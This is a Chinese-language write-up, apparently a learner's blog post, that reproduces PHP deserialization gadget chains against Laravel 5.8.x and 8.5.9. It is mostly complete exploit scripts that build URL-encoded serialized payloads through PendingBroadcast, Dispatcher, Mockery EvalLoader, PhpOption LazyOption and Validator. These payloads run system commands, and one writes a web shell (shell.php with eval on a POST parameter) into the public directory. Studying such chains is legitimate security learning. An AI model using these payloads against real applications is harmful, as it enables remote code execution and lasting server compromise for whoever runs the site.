?
?（一）5.8.x
?参考：(感谢大佬这么好的资源)
https://blog.csdn.net/qq_38154820/article/details/117757896
首先搭环境，百度到心累呀
添加入口路由：
打开ps，直接定位到
laravel\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
的__destruct()：
$this->events和$this->event可控，令$this->events为调用dispatch()方法的某个类
?
?空降
laravel\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
?跟进dispatchToQueue()方法发现call_user_func()的调用：
$this->queueResolver可控，令$this->queueResolver='system';
再看$connection，往上追到$command；
$command要经过commandShouldBeQueued()方法检查，跟进到commandShouldBeQueued()
?instanceof：
?
?全局搜索调用ShouldQueue接口的类，随便确定一个（本菜鸡复现时选的是CallQueuedClosure）
现在就是令$command=new CallQueuedClosure(),且new CallQueuedClosure()中存在$connection为我们要执行的命令；
整体exp:
<?php
/**
* Created by PhpStorm.
* User: juju
* Date: 2021/7/3
* Time: 18:04
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver = 'system';
}
}
namespace Illuminate\Queue {
class CallQueuedClosure
{
public $connection = 'whoami';
}
}
//$command= new CallQueuedClosure();
//$command= new PendingBroadcast()->$event;
//$this->events=new Dispatcher();
namespace {
$b = new Illuminate\Queue\CallQueuedClosure();
$c = new Illuminate\Bus\Dispatcher();
$a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
echo urlencode(serialize($a));}
?>
直接get传c打过去：
真的长见识了。
下面这个也是基于上面链的变形，直接寻找执行eavl()的类，通过给call_user_func()第一个参数赋值数组，从而执行类中的具体方法；
定位到laravel\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php中
发现EvalLoader类：
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}?$definition为MockDefinition的类，跟进到MockDefinition中发现：
public function getCode()
{
return $this->code;
}//可控
public function getClassName()
{
return $this->config->getName();
}//$this->config可控跟进getName()：
laravel\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
也是返回了$this->name
那么让$this->config为MockConfiguration的类，其中$this->name为不存在的类名，即可通过laravel\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php中的if检查：
if (class_exists($definition->getClassName(), false)) {
return;
}//通过if，否则直接return,无法eval;?由上整理exp:
<?php
/**
* Created by PhpStorm.
* User: juju
* Date: 2021/7/3
* Time: 18:04
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Queue {
class CallQueuedClosure
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php echo `whoami`;?>';
public function __construct($config)
{
$this->config = $config;
}
}}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "afdgdafgadf";
}}
namespace Mockery\Loader{
class EvalLoader //implements Loader
{
public function load($definition)
{
}
}}
namespace {
$d = new Mockery\Generator\MockDefinition(new Mockery\Generator\MockConfiguration());
$b = new Illuminate\Queue\CallQueuedClosure($d);
$c = new Illuminate\Bus\Dispatcher(array(new Mockery\Loader\EvalLoader(),'load'));
$a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
echo urlencode(serialize($a));
}?执行whoami:
再下面是通过call_user_func_array()写shell
定位到laravel\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php中：
?option()中调用了call_user_func_array()，但是option()定义为private,无法直接利用，可以通过LazyOption类中若干方法节间调用option()；
?参考中“利用跳板”的意思
<?php
/**
* Created by PhpStorm.
* User: juju
* Date: 2021/7/4
* Time: 10:30
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Queue {
class CallQueuedClosure
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace PhpOption{
final class LazyOption
{
private $callback;
private $arguments;
public function __construct($callback,$arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}}
namespace {
$d = new PhpOption\LazyOption('file_put_contents',["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Queue\CallQueuedClosure('whoami');
$c = new Illuminate\Bus\Dispatcher(array($d,'map'));
$a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
echo urlencode(serialize($a));
}
?>打完后public目录下生成了shell.php
?
?
=========================================================================
第二条链主要是寻找类中不存在dispatch()但是有__call()的，这样调用类中不存在的dispatch()时便有调用__call()
在laravel\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中
因为调用dispatch()，所以这里$method就是dispatch,所以$rule = Str::snake(substr($method, 8))返回为空''
跟进callExtension()
?exp:
<?php
/**
* Created by PhpStorm.
* User: juju
* Date: 2021/7/4
* Time: 10:30
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus {
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Queue {
class CallQueuedClosure
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Validation{
class Validator
{
public $extensions = array(''=>'system');
}}
namespace {
$d = new Illuminate\Validation\Validator();
//$b = new Illuminate\Queue\CallQueuedClosure('whoami');
//$c = new Illuminate\Bus\Dispatcher($d);
$a = new Illuminate\Broadcasting\PendingBroadcast($d,'whoami');
echo urlencode(serialize($a));
}
//不需要再通过new Illuminate\Queue\CallQueuedClosure('whoami')来传参，直接 $this->event = 'whoami'，到__call()方法中
?(二) 8.5.9
参考：
https://bbs.ichunqiu.com/thread-60921-1-1.html
（不过这位大佬的exp有个地方应该是public,可能码字搞错了）
首先是环境，主要是phpstudy2018升级php版本到7.4.23时只能从配置里面改，具体百度了半天终于成功：
?添加路由：
?
?同样是从dispatch开始：
?
?和5的相比就是变成了一个三元运算
用5同样的链打都行：
收获多多